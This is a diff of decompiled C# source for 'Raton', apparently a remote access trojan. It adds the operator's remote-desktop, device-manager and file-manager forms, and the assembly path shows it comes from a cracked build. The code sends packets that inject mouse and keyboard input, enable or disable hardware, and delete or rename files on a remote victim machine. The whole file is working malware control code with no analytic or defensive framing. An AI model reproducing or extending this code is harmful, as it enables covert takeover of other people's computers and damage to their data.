Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "KeyboardClick");
|
||||
pack.SetBool("isKeyDown", false);
|
||||
pack.SetInt("Key", (int) e.KeyCode);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
e.Handled = true;
|
||||
}
|
||||
|
||||
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Tag == (object) "meow")
|
||||
{
|
||||
this.panel1.Visible = false;
|
||||
this.Tag = (object) "aaa";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Tag = (object) "meow";
|
||||
this.panel1.Visible = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (!this.checkBox2.Checked || this.button1.Enabled)
|
||||
return;
|
||||
Point point = new Point(e.X * this.imageSize.X / this.pictureBox1.Width, e.Y * this.imageSize.Y / this.pictureBox1.Height);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RemoteDesktop");
|
||||
pack.SetString("Command", "MouseMove");
|
||||
pack.SetInt("X", point.X);
|
||||
pack.SetInt("Y", point.Y);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
|
||||
{
|
||||
if (this.checkBox1.Checked && !this.button1.Enabled)
|
||||
{
|
||||
Keys keys = keyData & Keys.KeyCode;
|
||||
switch (keys)
|
||||
{
|
||||
case Keys.Back:
|
||||
case Keys.Tab:
|
||||
case Keys.Return:
|
||||
case Keys.Left:
|
||||
case Keys.Up:
|
||||
case Keys.Right:
|
||||
case Keys.Down:
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "RemoteDesktop");
|
||||
pack1.SetString("Command", "KeyboardClick");
|
||||
pack1.SetBool("isKeyDown", true);
|
||||
pack1.SetInt("Key", (int) keys);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "RemoteDesktop");
|
||||
pack2.SetString("Command", "KeyboardClick");
|
||||
pack2.SetBool("isKeyDown", false);
|
||||
pack2.SetInt("Key", (int) keys);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return base.ProcessCmdKey(ref msg, keyData);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDesktop));
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.menuStrip1 = new MenuStrip();
|
||||
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.label2 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.trackBar1 = new TrackBar();
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.label1 = new Label();
|
||||
this.label3 = new Label();
|
||||
this.checkBox2 = new CustomSwitch();
|
||||
this.label4 = new Label();
|
||||
this.checkBox1 = new CustomSwitch();
|
||||
this.checkBox3 = new CustomSwitch();
|
||||
this.panel1 = new Panel();
|
||||
this.label7 = new Label();
|
||||
this.label6 = new Label();
|
||||
this.label5 = new Label();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.menuStrip1.SuspendLayout();
|
||||
this.trackBar1.BeginInit();
|
||||
this.panel1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.pictureBox1.BackgroundImage = (Image) Resources.Monitor_16x;
|
||||
this.pictureBox1.BackgroundImageLayout = ImageLayout.Center;
|
||||
this.pictureBox1.Dock = DockStyle.Fill;
|
||||
this.pictureBox1.Location = new Point(0, 24);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(802, 501);
|
||||
this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.pictureBox1.TabIndex = 0;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.pictureBox1.HelpRequested += new HelpEventHandler(this.pictureBox1_HelpRequested);
|
||||
this.pictureBox1.MouseDown += new MouseEventHandler(this.pictureBox1_MouseDown);
|
||||
this.pictureBox1.MouseMove += new MouseEventHandler(this.pictureBox1_MouseMove);
|
||||
this.pictureBox1.MouseUp += new MouseEventHandler(this.pictureBox1_MouseUp);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Interval = 1500;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||||
});
|
||||
this.menuStrip1.Location = new Point(0, 0);
|
||||
this.menuStrip1.Name = "menuStrip1";
|
||||
this.menuStrip1.Size = new Size(802, 24);
|
||||
this.menuStrip1.TabIndex = 2;
|
||||
this.menuStrip1.Text = "menuStrip1";
|
||||
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||||
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||||
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||||
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||||
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(11, 165);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(91, 15);
|
||||
this.label2.TabIndex = 5;
|
||||
this.label2.Text = "Choose a screen";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_eye_show_24_filled;
|
||||
this.button1.IconSize = 16 /*0x10*/;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(14, 278);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(217, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = "Start";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_eye_tracking_on_24_filled;
|
||||
this.button2.IconSize = 16 /*0x10*/;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(14, 316);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(217, 32 /*0x20*/);
|
||||
this.button2.TabIndex = 1;
|
||||
this.button2.Text = "Stop";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.trackBar1.Location = new Point(14, 227);
|
||||
this.trackBar1.Maximum = 100;
|
||||
this.trackBar1.Name = "trackBar1";
|
||||
this.trackBar1.Size = new Size(217, 45);
|
||||
this.trackBar1.TabIndex = 2;
|
||||
this.trackBar1.Value = 40;
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Location = new Point(11, 183);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(217, 23);
|
||||
this.flatComboBox1.TabIndex = 4;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(14, 209);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(45, 15);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "Quality";
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(14, 13);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(217, 17);
|
||||
this.label3.TabIndex = 8;
|
||||
this.label3.Text = "Manage the settings";
|
||||
this.label3.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.checkBox2.AutoSize = true;
|
||||
this.checkBox2.Location = new Point(47, 72);
|
||||
this.checkBox2.MinimumSize = new Size(45, 22);
|
||||
this.checkBox2.Name = "checkBox2";
|
||||
this.checkBox2.OffBackColor = Color.Gray;
|
||||
this.checkBox2.OffToggleColor = Color.Gainsboro;
|
||||
this.checkBox2.OnBackColor = Color.FromArgb(105, 245, 142);
|
||||
this.checkBox2.OnToggleColor = Color.WhiteSmoke;
|
||||
this.checkBox2.Size = new Size(45, 22);
|
||||
this.checkBox2.TabIndex = 3;
|
||||
this.checkBox2.UseVisualStyleBackColor = true;
|
||||
this.label4.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label4.Location = new Point(14, 30);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(217, 36);
|
||||
this.label4.TabIndex = 9;
|
||||
this.label4.Text = "Press the Toggle configuration to open this window again";
|
||||
this.label4.TextAlign = ContentAlignment.TopCenter;
|
||||
this.checkBox1.AutoSize = true;
|
||||
this.checkBox1.Location = new Point(47, 100);
|
||||
this.checkBox1.MinimumSize = new Size(45, 22);
|
||||
this.checkBox1.Name = "checkBox1";
|
||||
this.checkBox1.OffBackColor = Color.Gray;
|
||||
this.checkBox1.OffToggleColor = Color.Gainsboro;
|
||||
this.checkBox1.OnBackColor = Color.FromArgb(105, 245, 142);
|
||||
this.checkBox1.OnToggleColor = Color.WhiteSmoke;
|
||||
this.checkBox1.Size = new Size(45, 22);
|
||||
this.checkBox1.TabIndex = 4;
|
||||
this.checkBox1.UseVisualStyleBackColor = true;
|
||||
this.checkBox3.AutoSize = true;
|
||||
this.checkBox3.Location = new Point(47, 128 /*0x80*/);
|
||||
this.checkBox3.MinimumSize = new Size(45, 22);
|
||||
this.checkBox3.Name = "checkBox3";
|
||||
this.checkBox3.OffBackColor = Color.Gray;
|
||||
this.checkBox3.OffToggleColor = Color.Gainsboro;
|
||||
this.checkBox3.OnBackColor = Color.Red;
|
||||
this.checkBox3.OnToggleColor = Color.WhiteSmoke;
|
||||
this.checkBox3.Size = new Size(45, 22);
|
||||
this.checkBox3.TabIndex = 5;
|
||||
this.checkBox3.UseVisualStyleBackColor = true;
|
||||
this.panel1.Controls.Add((Control) this.label7);
|
||||
this.panel1.Controls.Add((Control) this.label6);
|
||||
this.panel1.Controls.Add((Control) this.label5);
|
||||
this.panel1.Controls.Add((Control) this.checkBox3);
|
||||
this.panel1.Controls.Add((Control) this.checkBox1);
|
||||
this.panel1.Controls.Add((Control) this.label4);
|
||||
this.panel1.Controls.Add((Control) this.checkBox2);
|
||||
this.panel1.Controls.Add((Control) this.label3);
|
||||
this.panel1.Controls.Add((Control) this.label1);
|
||||
this.panel1.Controls.Add((Control) this.flatComboBox1);
|
||||
this.panel1.Controls.Add((Control) this.trackBar1);
|
||||
this.panel1.Controls.Add((Control) this.button2);
|
||||
this.panel1.Controls.Add((Control) this.button1);
|
||||
this.panel1.Controls.Add((Control) this.label2);
|
||||
this.panel1.Location = new Point(0, 24);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(247, 362);
|
||||
this.panel1.TabIndex = 1;
|
||||
this.label7.AutoSize = true;
|
||||
this.label7.Location = new Point(96 /*0x60*/, 131);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new Size(87, 15);
|
||||
this.label7.TabIndex = 12;
|
||||
this.label7.Text = "Start Recording";
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new Point(96 /*0x60*/, 103);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new Size(99, 15);
|
||||
this.label6.TabIndex = 11;
|
||||
this.label6.Text = "Control Keyboard";
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new Point(96 /*0x60*/, 75);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new Size(85, 15);
|
||||
this.label5.TabIndex = 10;
|
||||
this.label5.Text = "Control Mouse";
|
||||
this.AutoScaleMode = AutoScaleMode.None;
|
||||
this.ClientSize = new Size(802, 525);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Controls.Add((Control) this.menuStrip1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.HelpButton = true;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.KeyPreview = true;
|
||||
this.MainMenuStrip = this.menuStrip1;
|
||||
this.Name = nameof (ratonDesktop);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonDesktop);
|
||||
this.HelpButtonClicked += new CancelEventHandler(this.ratonDesktop_HelpButtonClicked);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonDesktop_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonDesktop_Load);
|
||||
this.KeyDown += new KeyEventHandler(this.ratonDesktop_KeyDown);
|
||||
this.KeyPress += new KeyPressEventHandler(this.ratonDesktop_KeyPress);
|
||||
this.KeyUp += new KeyEventHandler(this.ratonDesktop_KeyUp);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.menuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.PerformLayout();
|
||||
this.trackBar1.EndInit();
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,213 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonDevice
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonDevice : Form
|
||||
{
|
||||
internal TreeView treeDevices;
|
||||
private IContainer components;
|
||||
public TreeView treeView1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem enableDeviceToolStripMenuItem;
|
||||
private ToolStripMenuItem disableDeviceToolStripMenuItem;
|
||||
private ToolStripMenuItem updateControllerToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonDevice()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonDevice_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.SetupTreeView();
|
||||
this.InitializeDeviceCategories();
|
||||
this.RequestRefresh();
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void SetupTreeView()
|
||||
{
|
||||
this.treeDevices = this.treeView1;
|
||||
this.treeDevices.HideSelection = false;
|
||||
this.treeDevices.ShowNodeToolTips = true;
|
||||
this.treeDevices.AfterSelect -= new TreeViewEventHandler(this.TreeDevices_AfterSelect);
|
||||
this.treeDevices.AfterSelect += new TreeViewEventHandler(this.TreeDevices_AfterSelect);
|
||||
}
|
||||
|
||||
private void InitializeDeviceCategories()
|
||||
{
|
||||
this.treeDevices.Nodes.Clear();
|
||||
string[] strArray = new string[13]
|
||||
{
|
||||
"Processors",
|
||||
"Display adapters",
|
||||
"Network adapters",
|
||||
"Disk drives",
|
||||
"USB controllers",
|
||||
"Audio inputs and outputs",
|
||||
"Keyboards",
|
||||
"Mouse and other pointing devices",
|
||||
"Bluetooth",
|
||||
"Cameras",
|
||||
"System devices",
|
||||
"Sensors",
|
||||
"Software devices"
|
||||
};
|
||||
foreach (string text in strArray)
|
||||
this.treeDevices.Nodes.Add(new TreeNode(text)
|
||||
{
|
||||
Name = text
|
||||
});
|
||||
}
|
||||
|
||||
public void RequestRefresh()
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "DeviceRequest");
|
||||
pack.SetString("Action", "GetDevices");
|
||||
pack.SetString("DeviceId", "");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void SendDeviceAction(string action)
|
||||
{
|
||||
if (this.treeDevices.SelectedNode == null || this.treeDevices.SelectedNode.Tag == null)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Please select a device", "Error", icon: MessageBoxIcon.Exclamation);
|
||||
}
|
||||
else
|
||||
{
|
||||
string str = this.treeDevices.SelectedNode.Tag.ToString().Split('^')[0];
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "DeviceRequest");
|
||||
pack.SetString("Action", action);
|
||||
pack.SetString("DeviceId", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void TreeDevices_AfterSelect(object sender, TreeViewEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void enableDeviceToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.SendDeviceAction("EnableDevice");
|
||||
}
|
||||
|
||||
private void disableDeviceToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.SendDeviceAction("DisableDevice");
|
||||
}
|
||||
|
||||
private void updateControllerToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.SendDeviceAction("UpdateDriver");
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e) => this.RequestRefresh();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDevice));
|
||||
this.treeView1 = new TreeView();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.enableDeviceToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.disableDeviceToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.updateControllerToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.treeView1.BorderStyle = BorderStyle.None;
|
||||
this.treeView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.treeView1.Dock = DockStyle.Fill;
|
||||
this.treeView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.treeView1.Location = new Point(0, 0);
|
||||
this.treeView1.Name = "treeView1";
|
||||
this.treeView1.Size = new Size(738, 521);
|
||||
this.treeView1.TabIndex = 0;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[4]
|
||||
{
|
||||
(ToolStripItem) this.enableDeviceToolStripMenuItem,
|
||||
(ToolStripItem) this.disableDeviceToolStripMenuItem,
|
||||
(ToolStripItem) this.updateControllerToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(181, 114);
|
||||
this.enableDeviceToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.enableDeviceToolStripMenuItem.Image = (Image) Resources.RowUpdating_16x;
|
||||
this.enableDeviceToolStripMenuItem.Name = "enableDeviceToolStripMenuItem";
|
||||
this.enableDeviceToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.enableDeviceToolStripMenuItem.Text = "Enable device";
|
||||
this.enableDeviceToolStripMenuItem.Click += new EventHandler(this.enableDeviceToolStripMenuItem_Click);
|
||||
this.disableDeviceToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.disableDeviceToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.disableDeviceToolStripMenuItem.Name = "disableDeviceToolStripMenuItem";
|
||||
this.disableDeviceToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.disableDeviceToolStripMenuItem.Text = "Disable device";
|
||||
this.disableDeviceToolStripMenuItem.Click += new EventHandler(this.disableDeviceToolStripMenuItem_Click);
|
||||
this.updateControllerToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.updateControllerToolStripMenuItem.Image = (Image) Resources.UpdateLinkedTable_16x;
|
||||
this.updateControllerToolStripMenuItem.Name = "updateControllerToolStripMenuItem";
|
||||
this.updateControllerToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.updateControllerToolStripMenuItem.Text = "Update controller";
|
||||
this.updateControllerToolStripMenuItem.Click += new EventHandler(this.updateControllerToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(738, 521);
|
||||
this.Controls.Add((Control) this.treeView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonDevice);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonDevice);
|
||||
this.Load += new EventHandler(this.ratonDevice_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,615 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonFIleManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Dialogs;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonFIleManager : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TextBox textBox1;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
public ImageList imageList1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private ToolStripMenuItem openFileToolStripMenuItem;
|
||||
private ToolStripMenuItem renameToolStripMenuItem;
|
||||
private ToolStripMenuItem deleteToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator1;
|
||||
private ToolStripMenuItem downloadToolStripMenuItem;
|
||||
private ToolStripMenuItem uploadToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator2;
|
||||
private ToolStripMenuItem newFolderToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator3;
|
||||
private ToolStripMenuItem goBackToolStripMenuItem;
|
||||
private ToolStripMenuItem reloadToolStripMenuItem;
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
public AeroListView aeroListView2;
|
||||
private ColumnHeader columnHeader5;
|
||||
public ImageList imageList2;
|
||||
public AeroListView aeroListView3;
|
||||
private ColumnHeader columnHeader6;
|
||||
private Label label1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonFIleManager()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
public void Goto(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", nameof (Goto));
|
||||
pack.SetString("Path", path);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.aeroListView1.Enabled = false;
|
||||
this.aeroListView1.Visible = false;
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.textBox1.Text;
|
||||
if (text.Length < 3)
|
||||
return;
|
||||
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
||||
{
|
||||
'\\'
|
||||
}, text.LastIndexOf('\\')));
|
||||
if (!path.Contains("\\"))
|
||||
path += "\\";
|
||||
this.Goto(path);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e) => this.Goto(this.textBox1.Text);
|
||||
|
||||
private void goBackToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.textBox1.Text;
|
||||
if (text.Length < 3)
|
||||
return;
|
||||
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
||||
{
|
||||
'\\'
|
||||
}, text.LastIndexOf('\\')));
|
||||
if (!path.Contains("\\"))
|
||||
path += "\\";
|
||||
this.Goto(path);
|
||||
}
|
||||
|
||||
private void reloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.textBox1.Text;
|
||||
if (text.Length < 3)
|
||||
return;
|
||||
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
||||
{
|
||||
'\\'
|
||||
}, text.LastIndexOf('\\')));
|
||||
if (!path.Contains("\\"))
|
||||
path += "\\";
|
||||
this.Goto(path);
|
||||
}
|
||||
|
||||
private void ratonFIleManager_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Delete");
|
||||
pack.SetBool("Folder", selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder");
|
||||
pack.SetString("Target", (string) selectedItem.Tag);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
}
|
||||
|
||||
private void renameToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
inputDialog inputDialog = new inputDialog();
|
||||
inputDialog.Text = "Rename";
|
||||
inputDialog.label1.Text = "Please enter the new name of the file and the extension too";
|
||||
inputDialog.textBox1.Text = $"File_{Helpers.Random(5)}.extension";
|
||||
if (inputDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
string text = inputDialog.textBox1.Text;
|
||||
if (string.IsNullOrEmpty(text))
|
||||
return;
|
||||
if (this.aeroListView1.SelectedItems.Count > 1)
|
||||
{
|
||||
int num = 1;
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Rename");
|
||||
